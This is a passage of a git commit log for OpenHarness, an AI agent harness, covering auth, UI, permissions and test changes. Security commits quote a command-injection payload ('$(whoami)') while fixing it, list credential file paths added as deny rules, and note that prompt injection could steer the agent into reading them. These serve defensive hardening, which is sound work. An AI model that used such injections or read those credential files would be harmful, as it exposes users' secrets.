instead of their relay — causing 401 errors.

Fix:
- Add OPENAI_BASE_URL to the env override chain (after ANTHROPIC_BASE_URL,
  before OPENHARNESS_BASE_URL) so relay base URLs are explicitly captured
  in settings rather than relying solely on the OpenAI SDK's env var
  detection.
- Fix 4 pre-existing test failures caused by OPENAI_API_KEY / ANTHROPIC_*
  env vars leaking into test assertions. Tests now use monkeypatch to
  isolate from the host environment.
- Add tests for OPENAI_BASE_URL pickup and ANTHROPIC_BASE_URL precedence.
2026-04-07 14:49:48 +08:00
solon 06c3ed2d03 fix(auth): resolve_auth() sends wrong API key when switching providers
When a user has an Anthropic API key stored in settings.json and
switches to --api-format openai, resolve_auth() blindly returned the
flat self.api_key (Anthropic key) before checking provider-specific
environment variables. This sent the wrong credential to the OpenAI
endpoint, causing 401 errors.

Fix: check the auth_source-specific environment variable (e.g.
OPENAI_API_KEY) before falling back to the flat api_key field.
This ensures the correct credential is used when multiple providers
are configured.
2026-04-07 13:58:45 +08:00
tjb-tech 2b0fddd32b fix(auth): improve claude subscription refresh handling 2026-04-07 05:32:55 +00:00
ZackaryW 71ce441aeb fix: Support max_completion_tokens for newer models
Add _token_limit_param_for_model to map max_tokens vs max_completion_tokens for models that require the latter (e.g. gpt-5 and reasoning-model families).
2026-04-06 15:37:37 -07:00
José Maia 050035e345 fix(mcp): handle disconnected server in call_tool and read_resource
call_tool() and read_resource() access self._sessions[server_name]
directly, which raises a raw KeyError if the MCP server failed to
connect, disconnected, or was cleared by close()/reconnect_all().

Replace bare dict access with .get() and raise a descriptive
McpServerNotConnectedError that includes the server's failure detail.
Also wrap session.call_tool()/read_resource() to catch transport-level
errors (broken pipe, closed connection) and surface them as the same
exception type.

McpToolAdapter and ReadMcpResourceTool now catch this error and return
ToolResult(is_error=True) so the model receives a clean error message
instead of crashing the turn.
2026-04-06 19:35:11 +01:00
ag9920 5a1d88b0df feat: add native support for Moonshot (Kimi) provider 2026-04-06 22:48:19 +08:00
tjb-tech aa2e024734 docs(readme): add chinese translation 2026-04-06 13:53:18 +00:00
tjb-tech 45cb01958f docs(readme): refresh setup and ohmo guidance 2026-04-06 13:50:41 +00:00
tjb-tech b1e6a83b2a chore(release): bump version to 0.1.2 2026-04-06 13:44:54 +00:00
tjb-tech 3558ae6e57 feat(cli): streamline provider setup flows 2026-04-06 13:29:46 +00:00
solon e31a6cd75f fix(ui): handle EIO crashes in Ink TUI and wire up --debug logging
The Ink React TUI crashes with unhandled EIO errors when stdin.setRawMode()
is called during React reconciler mount/unmount cycles. This happens
reliably in SSH, tmux, and Docker terminal environments, causing the
spinner to appear frozen on tool execution.

Changes:
- Monkey-patch stdin.setRawMode to catch EIO/EAGAIN gracefully
- Add uncaughtException handler as fallback for React internals
- Wire up the existing --debug CLI flag to logging.basicConfig
- Support OPENHARNESS_LOG_LEVEL env var for log level control
- Add debug logging to tool execution loop (permission, timing, output)
- Add debug logging to backend event emission

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-06 21:23:03 +08:00
tjb-tech 291183e5df feat(ohmo): add config flow for gateway setup 2026-04-06 12:28:35 +00:00
tjb-tech 50e7e3a508 feat(ohmo): add personal agent app and gateway 2026-04-06 12:06:54 +00:00
José Maia 874de8864d Add built-in sensitive path protection to PermissionChecker
File tools (read_file, write_file, edit_file, notebook_edit) resolve
user-supplied paths via Path.expanduser().resolve() but the permission
layer has no default deny rules for high-value credential files.  In
FULL_AUTO mode — or when no path_rules are configured — the LLM can be
directed (including via prompt injection) to read ~/.ssh/id_rsa,
~/.aws/credentials, ~/.kube/config, and similar targets.

This commit adds a SENSITIVE_PATH_PATTERNS tuple to the permission
checker that is always evaluated before any other permission logic,
including the FULL_AUTO allow-all rule and the explicit allowed_tools
list.  The patterns cover SSH keys, AWS/GCP/Azure credentials, GPG
keyrings, Docker/Kubernetes configs, and OpenHarness's own credential
stores.

Tests verify that:
- Sensitive paths are blocked in all three permission modes
- Write operations are also blocked, not just reads
- allowed_tools cannot bypass the protection
- Normal project files are unaffected
- Every pattern in the tuple actually matches a concrete path
2026-04-06 11:32:40 +01:00
tjb-tech 53b1eb08d3 fix(windows): avoid git prompt deadlock in react tui 2026-04-06 09:00:05 +00:00
tjb-tech cd52191f6e feat(auth): add provider profiles and subscription clients 2026-04-06 08:47:10 +00:00
tjb-tech 0f7862f4f0 Merge pull request #42 from contributor/pr-42 2026-04-06 05:05:25 +00:00
tjb-tech 9bcc16a48b Merge commit 'refs/pull/39/head' of https://github.com/HKUDS/OpenHarness 2026-04-06 05:05:18 +00:00
Saurabh Singh 57399f9bf1 plugins, themes: add docstrings and debug logging to loader utilities 2026-04-06 08:04:53 +05:30
Aashish Thapa df635c56f5 fix: TUI confirmation dialog not accepting input on WSL/Windows (#37)
On WSL/Windows, the `npm exec -- tsx` process chain can spawn
intermediate shell processes that break TTY stdin inheritance.
When stdin loses its TTY status, Ink's useInput silently fails
to enable raw mode, making the permission dialog unresponsive.

Two fixes:

1. react_launcher.py: Invoke the tsx binary directly from
   node_modules/.bin/ instead of going through npm exec, which
   preserves TTY inheritance across the process boundary.

2. index.tsx: When process.stdin is not a TTY, open /dev/tty
   directly as a fallback stdin stream for Ink, giving raw-mode
   keyboard access regardless of how stdin was inherited.

Closes #37
2026-04-05 20:27:51 -05:00
tjb-tech 9008726a12 Merge pull request #33 from contributor/pr-33
# Conflicts:
#	CHANGELOG.md
2026-04-05 16:43:31 +00:00
tjb-tech 166fcfefb7 Merge pull request #32 from contributor/pr-32 2026-04-05 16:42:58 +00:00
tjb-tech 30be61c4f5 Merge pull request #35 from contributor/pr-35 2026-04-05 16:42:52 +00:00
tjb-tech e07d21d3f6 fix: bundle frontend in pip package, add --version flag (v0.1.1)
- Include frontend/terminal/ in wheel via hatch force-include
- get_frontend_dir() checks bundled _frontend/ first, then dev repo
- Add oh --version / -v flag
- Bump to v0.1.1, published to PyPI
2026-04-05 14:50:04 +00:00
tjb-tech 39ee8ab8d9 fix: network error notification + permission dialog input race (#36)
Bug 1 (network error): API errors now yield ErrorEvent instead of silently
hanging the spinner. The query loop catches ConnectionError/TimeoutError
and surfaces a user-visible message.

Bug 2 (bash stuck): Permission modal handler is now explicitly placed
before the busy-guard in useInput, with a question-modal early return.
Added 300s timeout on backend permission future to prevent permanent hang.

Added ErrorEvent to StreamEvent union for TUI error display.

Fixes #36
2026-04-05 14:41:13 +00:00
tjb-tech ca657cd68c fix(install): use venv to avoid PEP 668 externally-managed error
Python 3.11+ blocks system-wide pip install. Now the installer creates
~/.openharness-venv, installs into it, and adds venv/bin to PATH via
shell profile (~/.zshrc or ~/.bashrc).
2026-04-05 14:34:33 +00:00
tjb-tech c00e73f9d1 chore: publish as openharness-ai on PyPI
Package name 'openharness' was taken. Published as 'openharness-ai' v0.1.0.
https://pypi.org/project/openharness-ai/0.1.0/

Updated install.sh to use: pip install openharness-ai
2026-04-05 13:28:34 +00:00
tjb-tech 179ab09cc3 fix(ui): pass theme from settings to React frontend via OPENHARNESS_FRONTEND_CONFIG
The --theme flag was saving to settings.json but the theme name was not
being forwarded to the React TUI. Now react_launcher reads settings.theme
and includes it in OPENHARNESS_FRONTEND_CONFIG.
2026-04-05 13:09:30 +00:00
tjb-tech 508246c33a feat(cli): add --theme flag for startup theme selection
Usage: oh --theme cyberpunk
Available: default, dark, minimal, cyberpunk, solarized, or custom names
2026-04-05 13:04:26 +00:00
tjb-tech 06dc9998cf fix(ui): restore OH MY HARNESS ASCII art in WelcomeBanner
The theme-frontend agent accidentally removed the ASCII logo when
adding theme support. Restored from initial commit (5dd8b95) with
theme.colors.primary integration.
2026-04-05 13:00:52 +00:00
tjb-tech 68e7922469 fix(eval): handle file-target grep and refresh real e2e scripts 2026-04-05 12:58:51 +00:00
José Maia 4e08fff35f Fix shell injection in command hook $ARGUMENTS substitution
_inject_arguments replaced $ARGUMENTS with json.dumps(payload) directly
into shell command strings. JSON encoding wraps values in double quotes,
but bash still expands $(...), backticks, and other metacharacters inside
double-quoted strings. A payload containing {"command": "$(whoami)"}
would result in the subshell being executed.

Add shlex.quote() around the serialized JSON when substituting into
command hooks (shell_escape=True), wrapping it in single quotes so bash
treats the entire payload as a literal string. Prompt hooks continue to
use raw substitution since they pass the result to the LLM API, not a
shell.

The existing OPENHARNESS_HOOK_PAYLOAD environment variable (already set
on line 83) remains the recommended way to access payload data from hook
scripts, since env vars are not subject to shell expansion.
2026-04-05 13:42:44 +01:00
José Maia 642f4ec240 Fix _READ_ONLY_TOOLS using wrong tool names in swarm permission sync
The _READ_ONLY_TOOLS frozenset used PascalCase names (e.g. "Read",
"Glob", "WebFetch") carried over from the TypeScript original, but the
Python tool registry registers tools with snake_case names (e.g.
"read_file", "glob", "web_fetch"). This meant _is_read_only() never
matched any tool, so handle_permission_request() never auto-approved
read-only operations — every tool call required explicit permission
evaluation from the leader, including safe read-only tools.

Update _READ_ONLY_TOOLS to use the actual registered tool names and
align the test parametrizations accordingly.
2026-04-05 12:53:40 +01:00
13ernkastel 71c3d72a3d fix path rule enforcement for file tools 2026-04-05 19:45:06 +08:00
tjb-tech 7f7081b8a5 Merge branch 'clawteam/openharness-dev/tui-agent'
# Conflicts:
#	frontend/terminal/src/components/StatusBar.tsx
2026-04-05 10:23:30 +00:00
tjb-tech 838331bd8b Merge branch 'clawteam/openharness-dev/theme-frontend' 2026-04-05 10:22:59 +00:00
tjb-tech b0b547ea2d Merge branch 'clawteam/openharness-dev/theme-backend' 2026-04-05 10:22:59 +00:00
tjb-tech 1c506e3ccd Merge branch 'clawteam/openharness-dev/channels-agent' 2026-04-05 10:22:58 +00:00
tjb-tech 618644c319 Merge branch 'clawteam/openharness-dev/auth-agent' 2026-04-05 10:22:58 +00:00
tjb-tech 5ea1e446d6 Merge branch 'clawteam/openharness-dev/provider-agent' 2026-04-05 10:22:58 +00:00
tjb-tech 21ba2b0795 feat(tui): add TodoPanel, SwarmPanel, PlanMode indicator, enhanced AskUser modal
- Add TodoPanel.tsx: renders markdown checklist (- [ ]/- [x]) with Ink Box,
  checkbox icons (☐/☑), compact/expand toggle via ctrl+t
- Add SwarmPanel.tsx: shows swarm teammate list with status icons (🟢🟡🔴),
  duration, task summary, coordinator notifications; ctrl+w to collapse
- Enhance StatusBar.tsx: PlanModeIndicator highlights [PLAN MODE] in yellow,
  shows 🚫 blocked when write tools run in plan mode, flashes on exit
- Enhance ModalHost.tsx (question kind): animated waiting text, double-border
  styling, tool context display, shift+enter for multi-line input
- Add backend protocol events: todo_update, plan_mode_change, swarm_status
  with new fields in BackendEvent (todo_markdown, plan_mode, swarm_teammates,
  swarm_notifications)
- Emit todo_update in backend_host.py when TodoWrite tool completes
- Update useBackendSession.ts to handle new event types and expose state
- Update types.ts with TodoItemSnapshot, SwarmTeammateSnapshot, etc.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-05 10:21:20 +00:00
tjb-tech c2c8c6bf19 feat(ui): add TUI theme system with ThemeContext and 5 builtin themes
- Add ThemeConfig TypeScript type with colors and icons fields
- Add 5 builtin themes: default, dark, minimal, cyberpunk, solarized
- Add ThemeProvider / useTheme() React context
- Update StatusBar, ConversationView, ToolCallDisplay, Spinner,
  PromptInput, WelcomeBanner to consume useTheme()
- Wrap App with ThemeProvider; support /theme set <name> command
- All hardcoded colors replaced with theme.colors.* references
2026-04-05 10:17:22 +00:00
tjb-tech ad987c16bd feat(themes): add TUI skin system with 5 built-in themes and enhanced /theme command
- Add src/openharness/themes/ module with Pydantic schema (ThemeConfig,
  ColorsConfig, BorderConfig, IconConfig, LayoutConfig)
- Add 5 built-in themes: default (blue), dark (tokyo-night), minimal
  (no-color compact), cyberpunk (neon green/purple double borders),
  solarized
- Add loader.py with load_theme(), list_themes(), load_custom_themes()
  supporting ~/.openharness/themes/*.json
- Enhance /theme command: list, show (full config), set NAME (validated),
  preview NAME (color palette display)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-05 10:15:54 +00:00
tjb-tech b4638c5551 feat(auth): add unified AuthManager, flows, and secure credential storage
- src/openharness/auth/__init__.py: public exports
- src/openharness/auth/storage.py: file-based credentials.json (mode 600) + optional keyring, encrypt/decrypt helpers
- src/openharness/auth/manager.py: AuthManager with get_auth_status(), get_active_provider(), switch_provider(), store_credential(), clear_credential()
- src/openharness/auth/flows.py: ApiKeyFlow, DeviceCodeFlow (refactored from copilot_auth), BrowserFlow
- src/openharness/cli.py: enhanced auth subcommands — login [provider], status (table), logout [provider], switch <provider>; copilot-login/copilot-logout kept as aliases

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-05 10:09:11 +00:00
tjb-tech ab37aaca9a feat(channels): port nanobot channels+bus to OpenHarness
- Adds src/openharness/channels/{bus/,impl/} from nanobot commit 473ae5e
- Rewrites all imports: nanobot.bus → openharness.channels.bus,
  nanobot.channels → openharness.channels.impl
- Replaces loguru with stdlib logging throughout
- Adds channels/__init__.py exporting BaseChannel, ChannelManager, MessageBus
- Adds channels/adapter.py: ChannelBridge wiring MessageBus ↔ QueryEngine.submit_message()
- Adds channels/UPSTREAM tracking upstream repo/commit/sync time
- Adds scripts/sync_nanobot_channels.sh for future upstream diffs/applies
- All files pass ruff check

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-05 10:09:09 +00:00
tjb-tech d40cc05c51 feat(install): add one-click bash installer script
Add scripts/install.sh supporting `curl -fsSL URL | bash` installation:
- Detects OS (Linux/macOS/WSL) with colored output
- Validates Python >= 3.10 and Node.js >= 18 with install hints
- Supports --from-source (git clone + pip install -e .)
- Supports --with-channels (slack-sdk, python-telegram-bot, discord.py)
- Installs npm deps in frontend/terminal if Node.js is available
- Creates ~/.openharness/ config directory
- Verifies installation with `oh --version`

Update README.md with one-click install section and usage examples.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-05 10:07:11 +00:00
tjb-tech 7d5c137b0f feat(api): add LLM provider registry with auto-detection
Introduces src/openharness/api/registry.py (~260 LOC):
- ProviderSpec frozen dataclass: name, keywords, env_key, display_name,
  backend_type (anthropic/openai_compat/copilot), default_base_url,
  detect_by_key_prefix, detect_by_base_keyword, is_gateway, is_local,
  is_oauth flags
- PROVIDERS tuple with 21 providers: anthropic, openai, deepseek, gemini,
  dashscope/qwen, moonshot/kimi, minimax, openrouter, aihubmix, siliconflow,
  volcengine, zhipu/glm, groq, mistral, stepfun, baidu/ernie, bedrock,
  vertex, ollama, vllm, github_copilot
- detect_provider_from_registry(model, api_key, base_url) with priority:
  api_key prefix → base_url keyword → model keyword

Updates provider.py detect_provider() to delegate to the registry
instead of hand-coded if/elif chains.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-05 10:07:00 +00:00
tjb-tech 34c8186605 fix(tests): patch swarm lockfile module correctly 2026-04-05 09:48:23 +00:00
tjb-tech 9d8c7ddb54 fix(ui): emit utf-8 backend protocol on windows 2026-04-05 09:38:18 +00:00
tjb-tech 49dfaeacd7 refactor(swarm): extract mailbox lock layer
Also align real eval scripts with the product default max_turns instead of hardcoded small limits.
2026-04-05 09:32:40 +00:00
小川 e63ea065da fix(tools): speed up glob/grep with ripgrep (#2)
Co-authored-by: solon <solon@debian176.solon>
2026-04-05 09:04:55 +00:00
tjb-tech 8b143b8935 fix(ui): detect openai-compatible provider in react runtime 2026-04-05 09:01:15 +00:00
小川 9ad6b28e85 fix(ui): keep CLI model/provider after slash commands (#4)
Co-authored-by: solon <solon@debian176.solon>
2026-04-05 09:00:06 +00:00
小川 ee4c6222b4 fix(ui): throttle assistant delta rendering (#3)
Co-authored-by: solon <solon@debian176.solon>
2026-04-05 08:59:28 +00:00
小川 c8f6a53d25 fix(ui): improve TUI startup experience and process cleanup
- Show "Connecting to backend..." instead of stale "model: unknown" during init
- Hide input prompt, status bar, and keyboard hints until backend is ready
- Block message submission while backend is not ready
- Restore terminal cursor visibility on exit (Ink hides it by default)
- Replace oversized ASCII art banner with compact 2-line header
- Kill entire process group on exit to prevent stale Node/Python processes
- Register cleanup handlers on SIGINT/SIGTERM for reliable teardown

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
(cherry picked from commit 93562d65ff66631c24f57dfc79a17c4fe4b3658a)
2026-04-05 08:53:44 +00:00
tjb-tech 6c5cdc4960 chore: remove demo file from main 2026-04-05 08:45:30 +00:00
tjb-tech 04f2a9037a Merge pull request #25 from BhavaniThanish/feature-demo 2026-04-05 08:45:30 +00:00
tjb-tech 87ce487c50 fix(sandbox): preserve shell exit codes under srt 2026-04-05 08:32:12 +00:00
tjb-tech 2b1c16d72f refactor(skills): restructure to proper skill directory format
Each skill now follows the standard structure:
  skill-name/
  ├── SKILL.md (lean ~1500 words, frontmatter with triggers)
  └── references/ (detailed content, loaded as needed)

- harness-eval: SKILL.md + references/test-patterns.md + references/feature-matrix.md
- pr-merge: SKILL.md + references/merge-scenarios.md
2026-04-05 07:05:47 +00:00
tjb-tech 060ff0e59c chore: symlink .agents/skills → .claude/skills 2026-04-05 06:52:37 +00:00
tjb-tech d26c626111 refactor: move maintainer skills (harness-eval, pr-merge) to .claude/skills/
These are developer/maintainer workflow skills, not user-facing bundled
skills. They belong in .claude/skills/ (project-local, not packaged).
2026-04-05 06:51:24 +00:00
tjb-tech 0d3fadb4ce feat(skills): add harness-eval and pr-merge bundled skills
- harness-eval: end-to-end feature validation with real agent loops on
  unfamiliar codebases. Covers test design patterns, feature matrix, and
  common pitfalls.
- pr-merge: contributor-first PR integration workflow. Merge first resolve
  after, preserve authorship via --author flag or gh pr merge, selective
  merge with --exclude, attribution checklist.
- Fix bundled skill loader to support YAML frontmatter (was only parsing
  heading/paragraph fallback).
2026-04-05 06:49:41 +00:00
tjb-tech 9ba812d197 feat(config): raise default max turns to 200 2026-04-05 06:07:06 +00:00
tjb-tech fde3d9e1fc Merge pull request #19 from siaochuan/pr/max-turns-continue
# Conflicts:
#	src/openharness/config/settings.py
#	src/openharness/ui/runtime.py
2026-04-05 05:59:12 +00:00
krataratha e36dbf70b8 Update (#24) 2026-04-05 12:42:17 +08:00
tjb-tech 9b7051825f fix(ci): remove unused copilot imports 2026-04-05 04:36:25 +00:00
tjb-tech c9c5825de9 Merge pull request #22 from 0x7ffc/feat/copilot-provider 2026-04-05 04:33:44 +00:00
tjb-tech de7d3ad744 Merge pull request #27 from yohaann196/main 2026-04-05 04:33:44 +00:00
Yohaan Narayanan dd8288c188 Merge pull request #1 from yohaann196/yohaann196-patch-1
This warning primarily guards against rules with empty or whitespace-only patterns (which Pydantic accepts as valid str) and programmatically constructed rules that bypass validation. It does not replace Pydantic's own validation for settings.json parsing.
2026-04-04 20:07:10 -07:00
copilot-swe-agent[bot] f52a2b8c16 test: add whitespace-only and whitespace-stripped pattern test cases
Agent-Logs-Url: https://github.com/yohaann196/OpenHarness/sessions/f499fcce-2dbf-4014-af3a-7c6740380b2c

Co-authored-by: yohaann196 <229655281+yohaann196@users.noreply.github.com>
2026-04-05 02:56:35 +00:00
copilot-swe-agent[bot] 64f0d0bc15 test: move logging import to top of test file (PEP 8)
Agent-Logs-Url: https://github.com/yohaann196/OpenHarness/sessions/595d9ce6-bb66-4413-99bf-9178f796e9d8

Co-authored-by: yohaann196 <229655281+yohaann196@users.noreply.github.com>
2026-04-05 02:47:36 +00:00
copilot-swe-agent[bot] bdeff11749 test: add path_rules parsing tests with caplog for invalid/valid patterns
Agent-Logs-Url: https://github.com/yohaann196/OpenHarness/sessions/595d9ce6-bb66-4413-99bf-9178f796e9d8

Co-authored-by: yohaann196 <229655281+yohaann196@users.noreply.github.com>
2026-04-05 02:46:30 +00:00
Yohaan Narayanan a53b978416 Enhance path rule validation and logging
Refine path rule handling to check for non-empty string patterns and improve logging for invalid rules.
2026-04-04 19:37:56 -07:00
Yohaan Narayanan 9d71c800d4 Update src/openharness/permissions/checker.py
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-04-04 19:24:34 -07:00
Yohaan Narayanan 7217ba2ce7 Implement logging for missing path rule patterns
Added logging for missing 'pattern' field in path rules.
2026-04-04 19:16:47 -07:00
solon 734833f2fd chore: raise default max_turns from 8 to 32
8 turns is too conservative for most agentic workflows — tool-heavy
tasks routinely need 20+ turns. 32 gives reasonable headroom while
still preventing runaway loops.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-05 07:16:05 +08:00
Bhavani Thanish 5d6410c7ae Demo file has been created 2026-04-04 21:55:24 +05:30
Merlin Chen 03e8f0884d fix: use Copilot-compatible model instead of Anthropic default for copilot api_format 2026-04-05 00:06:03 +08:00
Merlin Chen 43f2e4988e feat: add GitHub Copilot provider support with OAuth device flow
Implement full Copilot provider integration using GitHub's OAuth
device flow.  The OAuth token is used directly as a Bearer token
(matching OpenCode's approach) — no intermediate token exchange.

Supports both github.com and GitHub Enterprise (data-residency /
self-hosted) deployments.  Enterprise uses copilot-api.<domain>.

New files:
- copilot_auth.py: OAuth device flow, persistence, enterprise URL
- copilot_client.py: wraps OpenAICompatibleClient with Copilot headers

Modified:
- cli.py: oh auth copilot-login/logout with deployment type selection
- provider.py: Copilot detection + auth status with enterprise info
- runtime.py: CopilotClient routing in build_runtime()
- settings.py: resolve_api_key() returns copilot-managed sentinel
- __init__.py: export CopilotClient
- README.md: Copilot provider documentation
- spawn_utils.py, react_launcher.py, app.py: api_format forwarding

Tests: 31 copilot-specific tests (auth + client), all passing.
2026-04-04 23:46:26 +08:00
solon f96d5e3690 Handle max_turns exhaustion and allow /continue 2026-04-04 19:51:43 +08:00
tjb-tech 598c73a040 fix(ci): remove unused imports in merged PR test file 2026-04-04 11:43:23 +00:00
tjb-tech 576b7c04aa test: real large tasks for merged PRs on AutoAgent codebase
6 tasks testing PR #17 (diagnose skill), #12 (memory frontmatter),
#14 (OpenAI client), #16 (session resume, cron, cost tracking),
and all PRs combined — every task runs on AutoAgent (17K LOC).

5/6 pass (1 test assertion typo: 'failure' vs 'failed').
2026-04-04 11:04:26 +00:00
Chao Qin a6dfa8f56d feat: wire --resume/--continue CLI flags and add cron scheduler daemon (#16)
Cherry-picked from PR #16 by win4r, excluding auto-compact (already
implemented in a more thorough version based on Claude Code source).

Resume/Continue:
- Wire --continue (most recent session) and --resume (picker/ID) CLI flags
- Pass restore_messages through app.py → backend_host.py → runtime.py
- Uses existing session_storage infrastructure

Cron scheduler daemon:
- oh cron start/stop/status/list/toggle/history subcommands
- Background daemon with 30s tick, concurrent job execution, PID file
- Job state: enabled, last_run, next_run, last_status, created_at
- JSONL execution history at ~/.openharness/data/cron_history.jsonl
- croniter-based expression validation and next-run computation

Cost/usage output in print mode:
- Token usage summary (input/output/total) printed to stderr
- Tool activity indicators during execution

New files: cron_scheduler.py, cron_toggle_tool.py, test_cron.py, test_cron_scheduler.py
Modified: cli.py, runtime.py, app.py, backend_host.py, cron.py, tools/__init__.py
2026-04-04 10:29:09 +00:00
tjb-tech bd976f4671 fix(ci): skip worktree test in CI, mark flaky test as xfail 2026-04-04 10:17:00 +00:00
tjb-tech 8abe47603e fix(ci): update tests for new system prompt, agent definitions, and CI compatibility
- Update prompt assertions to match new OpenHarness system prompt
- Update agent definition tests (verification not verifier, tools=['*'])
- Add pytest.mark.skipif for tests needing real API or AutoAgent workspace
- Fix agent tool test for InProcessBackend same-name spawn conflict
- Fix flaky worktree test for CI environments
2026-04-04 10:14:22 +00:00
tjb-tech 8474379b10 fix(ci): resolve ruff lint errors in test files
Fix unused imports, single-line multi-statements (E701/E702),
ambiguous variable names (E741), and unused assignments (F841)
across test_untested_features.py, test_real_large_tasks.py, and
test_hooks_skills_plugins_real.py.
2026-04-04 10:06:20 +00:00
tjb-tech bffcca677c fix(api): handle Kimi thinking model reasoning_content in OpenAI client
Kimi k2.5 via /v1 endpoint requires reasoning_content field on assistant
messages with tool_calls. Without it, the API returns 400.

Fix: capture reasoning_content during streaming, stash it on the message
object, and replay it when converting back to OpenAI format. Also handle
reasoning_content in delta streaming for thinking model output.
2026-04-04 09:59:00 +00:00
tjb-tech fe5c904623 Merge branch 'pr-14'
# Conflicts:
#	CHANGELOG.md
2026-04-04 09:58:55 +00:00
Ziming Wang ac582c7cf5 fix(memory): parse YAML frontmatter in scan and improve search relevance (#12)
* fix(memory): parse YAML frontmatter in scan and improve search relevance

The memory scanner previously treated the first non-empty line as the
description, returning raw "---" for files with YAML frontmatter.  This
broke search matching because the title and description fields—the only
fields the search function inspected—contained no meaningful content.

Changes:
- Parse name/description/type from YAML frontmatter in scan, consistent
  with the existing skill loader pattern.
- Add body_preview and memory_type fields to MemoryHeader so downstream
  consumers can leverage structured metadata.
- Search now matches against body content in addition to metadata, with
  metadata hits weighted 2x for relevance ordering.
- Tokenizer handles CJK characters for multilingual memory queries.
- Eight new tests covering frontmatter parsing, search relevance ranking,
  body content matching, and CJK tokenization.

* fix: address review feedback on memory scan and search

- Exclude description line from body_preview for non-frontmatter files
  to prevent double-counting in search scoring (meta 2x + body 1x).
- Guard fallback description against '---' delimiters from malformed
  frontmatter, consistent with skills/loader.py behavior.
- Rename CJK→Han in tokenizer docstring and variable names to reflect
  that only Han ideographs are tokenized individually (kana/hangul
  excluded by design as single characters lack lexical meaning).
- Fix CHANGELOG section ordering so existing Added entries stay under
  their original heading.
- Add tests for malformed frontmatter and body_preview exclusion.
2026-04-04 17:57:43 +08:00
washi4 d2ceecf3d0 fix: prevent double Enter submission in React TUI (#13)
The useInput hook and TextInput's onSubmit both fired on Enter,
causing every user message to be submitted twice. Remove the
duplicate key.return handler in useInput — TextInput already
handles normal Enter submission.
2026-04-04 17:57:41 +08:00
Qu Zhi cc2c8239f3 feat(skills): add diagnose skill for run failure analysis (#17) 2026-04-04 17:57:38 +08:00
tjb-tech 667f04cbb9 fix(test): increase teammate max_turns to 20 and timeout to 120s
Task 5 (concurrent teammates with skills) was failing because
import-finder hit max_turns=8 before writing results. Increased to
max_turns=20 and timeout=120s. Both teammates now pass (37s).
2026-04-04 09:42:19 +00:00
tjb-tech d5833874bc test: real agent loop tests for hooks, skills, and plugins
5 tasks where hooks/skills/plugins are ACTIVELY used by the model in
the agent loop (not passive logging or manual injection):

1. Hook blocks bash → model sees error, adapts to glob (8s) PASS
   - pre_tool_use hook returns exit 1 for bash, model switches tool
2. Model invokes skill tool → follows checklist instructions (16s) PASS
   - skill tool returns code-review checklist, model greps for TODO/FIXME
3. Plugin skill → security scan in agent loop (80s) PASS
   - Plugin-provided scan-secrets skill loaded via skill tool, 28 tool calls
4. Hook gates writes + skill guides refactoring (17s) PASS
   - Hook blocks config.py writes, skill provides refactoring steps
5. Swarm teammates each use skills (45s) 4/5 PARTIAL
   - class-counter invoked skill and wrote result, import-finder timed out
2026-04-04 09:42:19 +00:00
tjb-tech 82b6a703d1 test: real large multi-feature tasks on unfamiliar AutoAgent codebase
6 end-to-end tasks combining 3+ features each, all using real Kimi K2.5 API
on the AutoAgent project (an unfamiliar 17K LOC Python codebase):

1. Security audit: hooks (35 logged entries) + grep + web_fetch + permissions
   - 34 tool calls, found real eval/exec/shell injection issues (204s)
2. Coordinator code review: swarm (2 concurrent workers) + team + mailbox
   + agent definitions (verification agent) + task notifications (51s)
3. Migration plan: skills + memory (add/list) + session save/export
   + Plan agent prompt + 3-turn analysis (295s, 176KB markdown export)
4. Bug fix in worktree: git worktree create + file edit + bash test
   - Fix verified, original untouched, worktree cleaned up (17s)
5. Full pipeline: coordinator + 2 research workers + permission sync
   (request→resolve) + team lifecycle (27s)
6. Refactoring with session: 3-turn edit + session save/load + cost tracking
   - Helper function extracted, valid Python, 18 messages saved (46s)
2026-04-04 09:42:19 +00:00
tjb-tech 74384897a2 test: comprehensive integration tests for all previously untested features
15 tests covering: hooks (command block, post_tool_use, agent loop integration),
skills (load from dir, registry), plugins (manifest loading), memory (add/list/
search/remove lifecycle), session storage (save/load/export), config (settings,
overrides, paths), commands (registry, lookup, 55 default commands), web_fetch
(real httpbin.org URL), worktree (real git create/list/remove), MCP (type
validation), and combined tests (hooks+skills+agent, full swarm+team on
AutoAgent project).

All tests use real Kimi K2.5 API where agent loops are needed.
2026-04-04 09:42:19 +00:00
tjb-tech c57aa50934 feat(compact): implement auto-compaction from reference source
Three-layer compaction system faithfully translated from reference:

1. Microcompact: clear old tool results (COMPACTABLE_TOOLS set) keeping
   recent N results. Cheap, no LLM call. Saved ~7500 tokens in testing.

2. Full compact: LLM-based summarization with structured 9-section prompt
   (analysis + summary tags). Formats and injects summary message.

3. Auto-compact: integrated into query loop, checks token threshold each
   turn. Fires microcompact first, falls back to full compact if needed.
   Circuit breaker after 3 consecutive failures.

Key constants from reference: AUTOCOMPACT_BUFFER_TOKENS=13K,
MAX_OUTPUT_TOKENS_FOR_SUMMARY=20K, keep_recent=5, 4/3 token padding.

Tested: 5 tasks on shared engine against AutoAgent project (60K tokens)
without hitting Kimi 4MB limit. Previously crashed at Task 4.
2026-04-04 09:42:19 +00:00
tjb-tech 3e839dd383 feat: production-style system prompt, max_turns=200, health_check + mailbox async fix
- Replace minimal system prompt with reference-faithful version covering:
  system guidance, task execution, action safety, tool usage, tone/style
- Change default max_turns from 8 to 200 for large task support
- Add health_check() to BackendRegistry (found during live testing)
- Fix mailbox.py async I/O (wrap blocking ops with run_in_executor)

All changes validated with real Kimi K2.5 API: 5 large tasks passed including
deep architecture analysis (27 tool calls), multi-turn debug+fix, cross-module
trace, code generation with ruff validation.
2026-04-04 09:42:19 +00:00
tjb-tech 2e19b14e67 fix(swarm): use ConversationMessage.from_user_text() in in-process runner
The _run_query_loop was passing a raw string to ConversationMessage(content=...)
which expects a list. Use the from_user_text() factory method instead.

